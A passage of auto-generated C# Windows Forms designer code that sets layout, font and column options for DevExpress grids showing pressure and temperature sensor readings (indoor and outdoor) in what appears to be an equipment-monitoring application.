this.pressureNoColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.pressureNoColumn.OptionsColumn.ReadOnly = true;
this.pressureNoColumn.OptionsFilter.AllowAutoFilter = false;
this.pressureNoColumn.OptionsFilter.AllowFilter = false;
this.pressureNoColumn.OptionsFilter.AllowFilterModeChanging = DevExpress.Utils.DefaultBoolean.False;
this.pressureNoColumn.OptionsFilter.FilterBySortField = DevExpress.Utils.DefaultBoolean.False;
this.pressureNoColumn.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.pressureNoColumn.Visible = true;
this.pressureNoColumn.VisibleIndex = 0;
this.pressureNoColumn.Width = 32;
//
// pressureNameColumn
//
this.pressureNameColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F);
this.pressureNameColumn.AppearanceCell.Options.UseFont = true;
this.pressureNameColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F);
this.pressureNameColumn.AppearanceHeader.Options.UseFont = true;
this.pressureNameColumn.AppearanceHeader.Options.UseTextOptions = true;
this.pressureNameColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.pressureNameColumn.Caption = "Pressure";
this.pressureNameColumn.FieldName = "Name";
this.pressureNameColumn.Name = "pressureNameColumn";
this.pressureNameColumn.OptionsColumn.AllowEdit = false;
this.pressureNameColumn.OptionsColumn.AllowFocus = false;
this.pressureNameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.pressureNameColumn.OptionsColumn.AllowIncrementalSearch = false;
this.pressureNameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.pressureNameColumn.OptionsColumn.AllowMove = false;
this.pressureNameColumn.OptionsColumn.AllowShowHide = false;
this.pressureNameColumn.OptionsColumn.AllowSize = false;
this.pressureNameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.pressureNameColumn.OptionsColumn.FixedWidth = true;
this.pressureNameColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.pressureNameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.pressureNameColumn.OptionsColumn.ReadOnly = true;
this.pressureNameColumn.OptionsColumn.TabStop = false;
this.pressureNameColumn.OptionsFilter.AllowAutoFilter = false;
this.pressureNameColumn.OptionsFilter.AllowFilter = false;
this.pressureNameColumn.Visible = true;
this.pressureNameColumn.VisibleIndex = 1;
this.pressureNameColumn.Width = 165;
//
// pressureValueColumn
//
this.pressureValueColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F);
this.pressureValueColumn.AppearanceCell.Options.UseFont = true;
this.pressureValueColumn.AppearanceCell.Options.UseTextOptions = true;
this.pressureValueColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Far;
this.pressureValueColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F);
this.pressureValueColumn.AppearanceHeader.Options.UseFont = true;
this.pressureValueColumn.Caption = "Value";
this.pressureValueColumn.DisplayFormat.FormatString = "{0:F2}";
this.pressureValueColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.pressureValueColumn.FieldName = "Value";
this.pressureValueColumn.Name = "pressureValueColumn";
this.pressureValueColumn.OptionsColumn.AllowEdit = false;
this.pressureValueColumn.OptionsColumn.AllowFocus = false;
this.pressureValueColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.pressureValueColumn.OptionsColumn.AllowIncrementalSearch = false;
this.pressureValueColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.pressureValueColumn.OptionsColumn.AllowMove = false;
this.pressureValueColumn.OptionsColumn.AllowShowHide = false;
this.pressureValueColumn.OptionsColumn.AllowSize = false;
this.pressureValueColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.pressureValueColumn.OptionsColumn.FixedWidth = true;
this.pressureValueColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.pressureValueColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.pressureValueColumn.OptionsColumn.ReadOnly = true;
this.pressureValueColumn.OptionsColumn.TabStop = false;
this.pressureValueColumn.OptionsFilter.AllowAutoFilter = false;
this.pressureValueColumn.OptionsFilter.AllowFilter = false;
this.pressureValueColumn.Visible = true;
this.pressureValueColumn.VisibleIndex = 2;
this.pressureValueColumn.Width = 60;
//
// pressureUnitColumn
//
this.pressureUnitColumn.Caption = "Unit";
this.pressureUnitColumn.FieldName = "Unit";
this.pressureUnitColumn.Name = "pressureUnitColumn";
this.pressureUnitColumn.OptionsColumn.AllowEdit = false;
this.pressureUnitColumn.OptionsColumn.AllowFocus = false;
this.pressureUnitColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.pressureUnitColumn.OptionsColumn.AllowIncrementalSearch = false;
this.pressureUnitColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.pressureUnitColumn.OptionsColumn.AllowMove = false;
this.pressureUnitColumn.OptionsColumn.AllowShowHide = false;
this.pressureUnitColumn.OptionsColumn.AllowSize = false;
this.pressureUnitColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.pressureUnitColumn.OptionsColumn.FixedWidth = true;
this.pressureUnitColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.pressureUnitColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.pressureUnitColumn.OptionsColumn.ReadOnly = true;
this.pressureUnitColumn.OptionsFilter.AllowAutoFilter = false;
this.pressureUnitColumn.OptionsFilter.AllowFilter = false;
this.pressureUnitColumn.Visible = true;
this.pressureUnitColumn.VisibleIndex = 3;
this.pressureUnitColumn.Width = 60;
//
// ulPanel86
//
this.ulPanel86.BackColor = System.Drawing.Color.DeepSkyBlue;
this.ulPanel86.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel86.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel86.Font = new System.Drawing.Font("Arial Rounded MT Bold", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel86.ForeColor = System.Drawing.Color.White;
this.ulPanel86.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel86.InnerColor2 = System.Drawing.Color.White;
this.ulPanel86.Location = new System.Drawing.Point(6, 6);
this.ulPanel86.Name = "ulPanel86";
this.ulPanel86.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel86.OuterColor2 = System.Drawing.Color.White;
this.ulPanel86.Size = new System.Drawing.Size(337, 28);
this.ulPanel86.Spacing = 0;
this.ulPanel86.TabIndex = 5;
this.ulPanel86.Text = "PRESSURE SENSOR";
this.ulPanel86.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel86.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel84
//
this.ulPanel84.BackColor = System.Drawing.SystemColors.Control;
this.ulPanel84.BevelInner = Ulee.Controls.EUlBevelStyle.Raised;
this.ulPanel84.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel84.Controls.Add(this.tc3Grid);
this.ulPanel84.Controls.Add(this.tc2Grid);
this.ulPanel84.Controls.Add(this.tc1Grid);
this.ulPanel84.Controls.Add(this.ulPanel95);
this.ulPanel84.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel84.InnerColor2 = System.Drawing.Color.White;
this.ulPanel84.Location = new System.Drawing.Point(0, 0);
this.ulPanel84.Name = "ulPanel84";
this.ulPanel84.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel84.OuterColor2 = System.Drawing.Color.White;
this.ulPanel84.Size = new System.Drawing.Size(1029, 859);
this.ulPanel84.Spacing = 0;
this.ulPanel84.TabIndex = 7;
this.ulPanel84.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel84.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// tc3Grid
//
this.tc3Grid.Cursor = System.Windows.Forms.Cursors.Default;
this.tc3Grid.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.tc3Grid.Location = new System.Drawing.Point(688, 40);
this.tc3Grid.MainView = this.tc3GridView;
this.tc3Grid.Name = "tc3Grid";
this.tc3Grid.Size = new System.Drawing.Size(335, 813);
this.tc3Grid.TabIndex = 12;
this.tc3Grid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.tc3GridView});
//
// tc3GridView
//
this.tc3GridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.tc3GridView.Appearance.FixedLine.Options.UseFont = true;
this.tc3GridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.tc3GridView.Appearance.FocusedRow.Options.UseFont = true;
this.tc3GridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.tc3GridView.Appearance.HeaderPanel.Options.UseFont = true;
this.tc3GridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.tc3GridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.tc3GridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.tc3GridView.Appearance.OddRow.Options.UseFont = true;
this.tc3GridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.tc3GridView.Appearance.Preview.Options.UseFont = true;
this.tc3GridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.tc3GridView.Appearance.Row.Options.UseFont = true;
this.tc3GridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.tc3GridView.Appearance.SelectedRow.Options.UseFont = true;
this.tc3GridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.tc3GridView.Appearance.ViewCaption.Options.UseFont = true;
this.tc3GridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.tc3NoColumn,
this.tc3NameColumn,
this.tc3ValueColumn,
this.tc3UnitColumn});
this.tc3GridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.tc3GridView.GridControl = this.tc3Grid;
this.tc3GridView.Name = "tc3GridView";
this.tc3GridView.OptionsView.ColumnAutoWidth = false;
this.tc3GridView.OptionsView.ShowGroupPanel = false;
this.tc3GridView.OptionsView.ShowIndicator = false;
this.tc3GridView.Tag = 0;
//
// tc3NoColumn
//
this.tc3NoColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.tc3NoColumn.AppearanceCell.Options.UseFont = true;
this.tc3NoColumn.AppearanceCell.Options.UseTextOptions = true;
this.tc3NoColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.tc3NoColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.tc3NoColumn.AppearanceHeader.Options.UseFont = true;
this.tc3NoColumn.AppearanceHeader.Options.UseTextOptions = true;
this.tc3NoColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.tc3NoColumn.Caption = "No";
this.tc3NoColumn.DisplayFormat.FormatString = "{0:d2}";
this.tc3NoColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.tc3NoColumn.FieldName = "No";
this.tc3NoColumn.Name = "tc3NoColumn";
this.tc3NoColumn.OptionsColumn.AllowEdit = false;
this.tc3NoColumn.OptionsColumn.AllowFocus = false;
this.tc3NoColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.tc3NoColumn.OptionsColumn.AllowIncrementalSearch = false;
this.tc3NoColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.tc3NoColumn.OptionsColumn.AllowMove = false;
this.tc3NoColumn.OptionsColumn.AllowShowHide = false;
this.tc3NoColumn.OptionsColumn.AllowSize = false;
this.tc3NoColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.tc3NoColumn.OptionsColumn.FixedWidth = true;
this.tc3NoColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.tc3NoColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.tc3NoColumn.OptionsColumn.ReadOnly = true;
this.tc3NoColumn.OptionsFilter.AllowAutoFilter = false;
this.tc3NoColumn.OptionsFilter.AllowFilter = false;
this.tc3NoColumn.OptionsFilter.AllowFilterModeChanging = DevExpress.Utils.DefaultBoolean.False;
this.tc3NoColumn.OptionsFilter.FilterBySortField = DevExpress.Utils.DefaultBoolean.False;
this.tc3NoColumn.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.tc3NoColumn.Visible = true;
this.tc3NoColumn.VisibleIndex = 0;
this.tc3NoColumn.Width = 32;
//
// tc3NameColumn
//
this.tc3NameColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F);
this.tc3NameColumn.AppearanceCell.Options.UseFont = true;
this.tc3NameColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F);
this.tc3NameColumn.AppearanceHeader.Options.UseFont = true;
this.tc3NameColumn.AppearanceHeader.Options.UseTextOptions = true;
this.tc3NameColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.tc3NameColumn.Caption = "Outdoor";
this.tc3NameColumn.FieldName = "Name";
this.tc3NameColumn.Name = "tc3NameColumn";
this.tc3NameColumn.OptionsColumn.AllowEdit = false;
this.tc3NameColumn.OptionsColumn.AllowFocus = false;
this.tc3NameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.tc3NameColumn.OptionsColumn.AllowIncrementalSearch = false;
this.tc3NameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.tc3NameColumn.OptionsColumn.AllowMove = false;
this.tc3NameColumn.OptionsColumn.AllowShowHide = false;
this.tc3NameColumn.OptionsColumn.AllowSize = false;
this.tc3NameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.tc3NameColumn.OptionsColumn.FixedWidth = true;
this.tc3NameColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.tc3NameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.tc3NameColumn.OptionsColumn.ReadOnly = true;
this.tc3NameColumn.OptionsColumn.TabStop = false;
this.tc3NameColumn.OptionsFilter.AllowAutoFilter = false;
this.tc3NameColumn.OptionsFilter.AllowFilter = false;
this.tc3NameColumn.Visible = true;
this.tc3NameColumn.VisibleIndex = 1;
this.tc3NameColumn.Width = 165;
//
// tc3ValueColumn
//
this.tc3ValueColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F);
this.tc3ValueColumn.AppearanceCell.Options.UseFont = true;
this.tc3ValueColumn.AppearanceCell.Options.UseTextOptions = true;
this.tc3ValueColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Far;
this.tc3ValueColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F);
this.tc3ValueColumn.AppearanceHeader.Options.UseFont = true;
this.tc3ValueColumn.Caption = "Value";
this.tc3ValueColumn.DisplayFormat.FormatString = "{0:F2}";
this.tc3ValueColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.tc3ValueColumn.FieldName = "Value";
this.tc3ValueColumn.Name = "tc3ValueColumn";
this.tc3ValueColumn.OptionsColumn.AllowEdit = false;
this.tc3ValueColumn.OptionsColumn.AllowFocus = false;
this.tc3ValueColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.tc3ValueColumn.OptionsColumn.AllowIncrementalSearch = false;
this.tc3ValueColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.tc3ValueColumn.OptionsColumn.AllowMove = false;
this.tc3ValueColumn.OptionsColumn.AllowShowHide = false;
this.tc3ValueColumn.OptionsColumn.AllowSize = false;
this.tc3ValueColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.tc3ValueColumn.OptionsColumn.FixedWidth = true;
this.tc3ValueColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.tc3ValueColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.tc3ValueColumn.OptionsColumn.ReadOnly = true;
this.tc3ValueColumn.OptionsColumn.TabStop = false;
this.tc3ValueColumn.OptionsFilter.AllowAutoFilter = false;
this.tc3ValueColumn.OptionsFilter.AllowFilter = false;
this.tc3ValueColumn.Visible = true;
this.tc3ValueColumn.VisibleIndex = 2;
this.tc3ValueColumn.Width = 60;
//
// tc3UnitColumn
//
this.tc3UnitColumn.Caption = "Unit";
this.tc3UnitColumn.FieldName = "Unit";
this.tc3UnitColumn.Name = "tc3UnitColumn";
this.tc3UnitColumn.OptionsColumn.AllowEdit = false;
this.tc3UnitColumn.OptionsColumn.AllowFocus = false;
this.tc3UnitColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.tc3UnitColumn.OptionsColumn.AllowIncrementalSearch = false;
this.tc3UnitColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.tc3UnitColumn.OptionsColumn.AllowMove = false;
this.tc3UnitColumn.OptionsColumn.AllowShowHide = false;
this.tc3UnitColumn.OptionsColumn.AllowSize = false;
this.tc3UnitColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.tc3UnitColumn.OptionsColumn.FixedWidth = true;
this.tc3UnitColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.tc3UnitColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.tc3UnitColumn.OptionsColumn.ReadOnly = true;
this.tc3UnitColumn.OptionsFilter.AllowAutoFilter = false;
this.tc3UnitColumn.OptionsFilter.AllowFilter = false;
this.tc3UnitColumn.Visible = true;
this.tc3UnitColumn.VisibleIndex = 3;
this.tc3UnitColumn.Width = 58;
//
// tc2Grid
//
this.tc2Grid.Cursor = System.Windows.Forms.Cursors.Default;
this.tc2Grid.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.tc2Grid.Location = new System.Drawing.Point(347, 40);
this.tc2Grid.MainView = this.tc2GridView;
this.tc2Grid.Name = "tc2Grid";
this.tc2Grid.Size = new System.Drawing.Size(335, 813);
this.tc2Grid.TabIndex = 11;
this.tc2Grid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.tc2GridView});
//
// tc2GridView
//
this.tc2GridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.tc2GridView.Appearance.FixedLine.Options.UseFont = true;
this.tc2GridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.tc2GridView.Appearance.FocusedRow.Options.UseFont = true;
this.tc2GridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.tc2GridView.Appearance.HeaderPanel.Options.UseFont = true;
this.tc2GridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.tc2GridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.tc2GridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.tc2GridView.Appearance.OddRow.Options.UseFont = true;
this.tc2GridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.tc2GridView.Appearance.Preview.Options.UseFont = true;
this.tc2GridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.tc2GridView.Appearance.Row.Options.UseFont = true;
this.tc2GridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.tc2GridView.Appearance.SelectedRow.Options.UseFont = true;
this.tc2GridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.tc2GridView.Appearance.ViewCaption.Options.UseFont = true;
this.tc2GridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.tc2NoColumn,
this.tc2NameColumn,
this.tc2ValueColumn,
this.tc2UnitColumn});
this.tc2GridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.tc2GridView.GridControl = this.tc2Grid;
this.tc2GridView.Name = "tc2GridView";
this.tc2GridView.OptionsView.ColumnAutoWidth = false;
this.tc2GridView.OptionsView.ShowGroupPanel = false;
this.tc2GridView.OptionsView.ShowIndicator = false;
this.tc2GridView.Tag = 0;
//
// tc2NoColumn
//
this.tc2NoColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F);
this.tc2NoColumn.AppearanceCell.Options.UseFont = true;
this.tc2NoColumn.AppearanceCell.Options.UseTextOptions = true;
this.tc2NoColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.tc2NoColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F);
this.tc2NoColumn.AppearanceHeader.Options.UseFont = true;
this.tc2NoColumn.AppearanceHeader.Options.UseTextOptions = true;
this.tc2NoColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.tc2NoColumn.Caption = "No";
this.tc2NoColumn.DisplayFormat.FormatString = "{0:d2}";
this.tc2NoColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.tc2NoColumn.FieldName = "No";
this.tc2NoColumn.Name = "tc2NoColumn";
this.tc2NoColumn.OptionsColumn.AllowEdit = false;
this.tc2NoColumn.OptionsColumn.AllowFocus = false;
this.tc2NoColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.tc2NoColumn.OptionsColumn.AllowIncrementalSearch = false;
this.tc2NoColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.tc2NoColumn.OptionsColumn.AllowMove = false;
this.tc2NoColumn.OptionsColumn.AllowShowHide = false;
this.tc2NoColumn.OptionsColumn.AllowSize = false;
this.tc2NoColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.tc2NoColumn.OptionsColumn.FixedWidth = true;
this.tc2NoColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.tc2NoColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.tc2NoColumn.OptionsColumn.ReadOnly = true;
this.tc2NoColumn.OptionsFilter.AllowAutoFilter = false;
this.tc2NoColumn.OptionsFilter.AllowFilter = false;
this.tc2NoColumn.OptionsFilter.AllowFilterModeChanging = DevExpress.Utils.DefaultBoolean.False;
this.tc2NoColumn.OptionsFilter.FilterBySortField = DevExpress.Utils.DefaultBoolean.False;
this.tc2NoColumn.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.tc2NoColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnCheck = DevExpress.Utils.DefaultBoolean.False;
this.tc2NoColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnDateChange = DevExpress.Utils.DefaultBoolean.False;
this.tc2NoColumn.OptionsFilter.ImmediateUpdatePopupExcelFilter = DevExpress.Utils.DefaultBoolean.False;
this.tc2NoColumn.Visible = true;
this.tc2NoColumn.VisibleIndex = 0;
this.tc2NoColumn.Width = 32;
//
// tc2NameColumn
//
this.tc2NameColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F);
this.tc2NameColumn.AppearanceCell.Options.UseFont = true;
this.tc2NameColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F);
this.tc2NameColumn.AppearanceHeader.Options.UseFont = true;
this.tc2NameColumn.AppearanceHeader.Options.UseTextOptions = true;
this.tc2NameColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.tc2NameColumn.Caption = "Indoor No.2";
this.tc2NameColumn.FieldName = "Name";
this.tc2NameColumn.Name = "tc2NameColumn";
this.tc2NameColumn.OptionsColumn.AllowEdit = false;
this.tc2NameColumn.OptionsColumn.AllowFocus = false;
this.tc2NameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.tc2NameColumn.OptionsColumn.AllowIncrementalSearch = false;
this.tc2NameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.tc2NameColumn.OptionsColumn.AllowMove = false;
this.tc2NameColumn.OptionsColumn.AllowShowHide = false;
this.tc2NameColumn.OptionsColumn.AllowSize = false;
this.tc2NameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.tc2NameColumn.OptionsColumn.FixedWidth = true;
this.tc2NameColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.tc2NameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.tc2NameColumn.OptionsColumn.ReadOnly = true;
this.tc2NameColumn.OptionsColumn.TabStop = false;
this.tc2NameColumn.OptionsFilter.AllowAutoFilter = false;
this.tc2NameColumn.OptionsFilter.AllowFilter = false;
this.tc2NameColumn.Visible = true;
this.tc2NameColumn.VisibleIndex = 1;
this.tc2NameColumn.Width = 165;
//
// tc2ValueColumn
//
this.tc2ValueColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F);
this.tc2ValueColumn.AppearanceCell.Options.UseFont = true;
this.tc2ValueColumn.AppearanceCell.Options.UseTextOptions = true;
this.tc2ValueColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Far;
this.tc2ValueColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F);
this.tc2ValueColumn.AppearanceHeader.Options.UseFont = true;
this.tc2ValueColumn.Caption = "Value";
this.tc2ValueColumn.DisplayFormat.FormatString = "{0:F2}";
this.tc2ValueColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.tc2ValueColumn.FieldName = "Value";
this.tc2ValueColumn.Name = "tc2ValueColumn";
this.tc2ValueColumn.OptionsColumn.AllowEdit = false;
this.tc2ValueColumn.OptionsColumn.AllowFocus = false;
this.tc2ValueColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.tc2ValueColumn.OptionsColumn.AllowIncrementalSearch = false;
this.tc2ValueColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.tc2ValueColumn.OptionsColumn.AllowMove = false;
this.tc2ValueColumn.OptionsColumn.AllowShowHide = false;
this.tc2ValueColumn.OptionsColumn.AllowSize = false;
this.tc2ValueColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.tc2ValueColumn.OptionsColumn.FixedWidth = true;
this.tc2ValueColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.tc2ValueColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.tc2ValueColumn.OptionsColumn.ReadOnly = true;
this.tc2ValueColumn.OptionsColumn.TabStop = false;
this.tc2ValueColumn.OptionsFilter.AllowAutoFilter = false;
this.tc2ValueColumn.OptionsFilter.AllowFilter = false;
this.tc2ValueColumn.Visible = true;
this.tc2ValueColumn.VisibleIndex = 2;
this.tc2ValueColumn.Width = 60;
//
// tc2UnitColumn
//
this.tc2UnitColumn.Caption = "Unit";
this.tc2UnitColumn.FieldName = "Unit";
this.tc2UnitColumn.Name = "tc2UnitColumn";
this.tc2UnitColumn.OptionsColumn.AllowEdit = false;
this.tc2UnitColumn.OptionsColumn.AllowFocus = false;
this.tc2UnitColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.tc2UnitColumn.OptionsColumn.AllowIncrementalSearch = false;
this.tc2UnitColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.tc2UnitColumn.OptionsColumn.AllowMove = false;
this.tc2UnitColumn.OptionsColumn.AllowShowHide = false;
this.tc2UnitColumn.OptionsColumn.AllowSize = false;
this.tc2UnitColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.tc2UnitColumn.OptionsColumn.FixedWidth = true;
this.tc2UnitColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.tc2UnitColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.tc2UnitColumn.OptionsColumn.ReadOnly = true;
this.tc2UnitColumn.OptionsFilter.AllowAutoFilter = false;
this.tc2UnitColumn.OptionsFilter.AllowFilter = false;
this.tc2UnitColumn.Visible = true;
this.tc2UnitColumn.VisibleIndex = 3;
this.tc2UnitColumn.Width = 58;
//
// tc1Grid
//
this.tc1Grid.Cursor = System.Windows.Forms.Cursors.Default;
